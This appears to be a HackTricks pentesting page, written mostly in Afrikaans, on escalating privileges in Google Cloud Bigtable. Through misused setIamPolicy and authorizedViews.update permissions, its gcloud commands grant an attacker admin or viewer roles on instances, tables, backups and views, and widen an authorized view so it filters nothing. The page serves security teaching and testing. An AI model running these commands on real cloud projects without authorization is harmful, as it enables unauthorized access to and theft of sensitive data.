# GCP - Bigtable Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Bigtable

Vir meer inligting oor Bigtable, sien:

{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}

### `bigtable.instances.setIamPolicy`

**Permissies:** `bigtable.instances.setIamPolicy` (en gewoonlik `bigtable.instances.getIamPolicy` om die huidige bindings te lees).

Wanneer jy die instansie se IAM-beleid beheer, kan jy jouself **`roles/bigtable.admin`** (of enige pasgemaakte rol) toeken — dit word toegepas op elke cluster, tabel, rugsteun en geautoriseerde view in die instansie.

<details><summary>Ken jouself die bigtable.admin-rol op die instansie toe</summary>
```bash
gcloud bigtable instances add-iam-policy-binding <instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
</details>

> [!TIP]
> As jy nie die bestaande bindinge kan lys nie, skep 'n nuwe beleidsdokument en push dit met `gcloud bigtable instances set-iam-policy` solank jy jouself daarin hou.

Sien ook die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) vir meer tegnieke om Bigtable-permissies te misbruik.

### `bigtable.tables.setIamPolicy`

**Permissies:** `bigtable.tables.setIamPolicy` (opsioneel `bigtable.tables.getIamPolicy`).

Instansiebeleide kan toegesluit wees terwyl individuele tabelle gedelegeer word. As jy die tabel se IAM kan wysig, kan jy jouself **bevorder tot eienaar van die teiken-datastel** sonder om ander workloads te raak.

<details><summary>Grant yourself bigtable.admin role on table</summary>
```bash
gcloud bigtable tables add-iam-policy-binding <table-id> \
--instance=<instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
</details>

Nadat jy hierdie permissie het, kyk na die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) vir meer tegnieke om Bigtable-permissies te misbruik.


### `bigtable.backups.setIamPolicy`

**Permissies:** `bigtable.backups.setIamPolicy`

Rugsteunkopieë kan herstel word na **enige instansie in enige projek** wat jy beheer. Gee eers jou identiteit toegang tot die rugsteun, en herstel dit dan in 'n sandbox waar jy Admin/Owner-rolle het.

As jy die permissie `bigtable.backups.setIamPolicy` het, kan jy jouself die permissie `bigtable.backups.restore` gee om ou rugsteunkopieë te herstel en te probeer toegang kry tot sensitiewe inligting.

<details><summary>Neem eienaarskap van die rugsteun-snapshot</summary>
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding <backup-id> \
--instance=<instance-id> --cluster=<cluster-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
</details>

Nadat jy hierdie toestemming het, kyk in die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) om te sien hoe om 'n rugsteun te herstel.


### Werk authorized view by

**Permissions:** `bigtable.authorizedViews.update`

Authorized Views is veronderstel om rye/kolomme te redigeer. Om dit te wysig of te verwyder **verwyder die fynkorrelige beheermeganismes** waarop verdedigers staatmaak.

<details><summary>Werk authorized view by om toegang uit te brei</summary>
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update <view-id> \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/permissive-view.json --ignore-warnings

# Json example not filtering any row or column
cat <<'EOF' > /tmp/permissive-view.json
{
"subsetView": {
"rowPrefixes": [""],
"familySubsets": {
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
"qualifierPrefixes": [""]
}
}
}
}
EOF

# Describe the authorized view to get a family name
gcloud bigtable authorized-views describe <view-id> \
--instance=<instance-id> --table=<table-id>
```
</details>

Nadat jy hierdie permissie nagegaan het in die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) om te sien hoe om vanaf Authorized View te lees.

### `bigtable.authorizedViews.setIamPolicy`

**Permissies:**  `bigtable.authorizedViews.setIamPolicy`.

'n aanvaller met hierdie permissie kan hulself toegang verleen tot 'n Authorized View, wat sensitiewe data kan bevat waartoe hulle andersins nie toegang sou hê nie.

<details><summary>Gee jouself toegang tot 'n Authorized View</summary>
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'
```
</details>

Nadat jy hierdie bevoegdheidskontrole in die [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) uitgevoer het om te sien hoe om vanaf 'n gemagtigde view te lees.



{{#include ../../../banners/hacktricks-training.md}}
